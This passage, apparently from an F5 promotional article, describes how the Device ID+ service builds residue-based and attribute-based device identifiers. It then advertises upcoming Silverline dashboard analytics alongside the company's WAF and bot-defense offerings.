residue-based identifiers over time. On the other hand, because the residue-based identifier is a sufficiently long random string, there is nearly no chance of collision (that is, when one identifier is shared by more than one device). The attribute-based identifier, based on signals collected from the device, is more persistent in that it will remain the same even when the user clears local storage. However, the attribute-based identifier could change when certain events occur such as a browser update, configuration change, or hardware change. Device ID+ continuously strives to base the identifier on the most persistent of signals, those least likely to change. The attribute-based identifier, however, does not guarantee persistence. It is possible for two devices to share an attribute-based identifier if the devices are sufficiently similar. Again, F5 performs continuous research to collect signals that will minimize collisions. Maximising the use of F5 Device ID+ Your initial thoughts may well be that the solution seems limited in its current form, and that we are asking your development teams to do the heavy lifting, to actually start to leverage the Device identifiers. In some ways this is true, however it’s likely that you are already using some kind of session tracking or device identifier, such as cookies. All we are providing is a more reliable and tamper proof alternative identifier, as part of this free service. This service will enhance your visibility and awareness of the users and devices traversing your websites and application, but the story doesn’t end there. F5 does offer several additional Security solutions that leverage this fundamental Device ID+ to provide advanced Bot Detection, and other anti-fraud capabilities. The F5 Device ID+ service should be seen as a foundational element to your overall security posture. As such, in the very near future, we will be enhancing the F5 Silverline Customer Portal with some additional Dashboard charts built on the Device ID+ Analytics. Future Visibility for Device ID+ in F5 Silverline In the next phase of development, we will be adding additional visibility and analytics gathered from DeviceID+ into the Silverline Dashboards, charts and Statistics. Existing customers can get details as they are released by subscribingto our release notes by following the details in this Support Knowledge Base Article What this means for you The F5 Silverline Portal already provides a very rich set of analytics, performance and security related dashboards, statistics and charts. All aimed at increasing your situational awareness of your Application Security posture. Adding F5 Device ID+ to this already powerful set of analytics, will further enhance your awareness of application traffic, and any potential risks to your infrastructure, Websites, and Services. F5 Silverline delivers Industry leading protection for multi-cloud hosted applications and services. It ensures that Applications stay online and available to improve the end user experience, while delivering business continuity for critical application and digital assets. The Service will help you reduce operating costs in the time and management of Application security, as well as the operational overhead on in-house IT resources and skills, by leveraging the Silverline SOC cyber security experts to augment IT security staff 24x7 The comprehensive mitigation techniques implemented through the F5 Silverline Web Application Firewall service help drive efficiencies in your application security and deliver complete visibility and insight into application attacks. F5 Silverline Shape Defense has been a huge hit with our customers so far, as the zero impact deployments really help demonstrate a rapid return on investment, while reducing the time to achieve and the cost of managing Bot and automate fraud prevention. Adding Device ID+ Dashboard charts will provide unparalleled visibility and reporting for all human, automated and/or bot traffic, while ensuring your applications and digital assets are online and available.
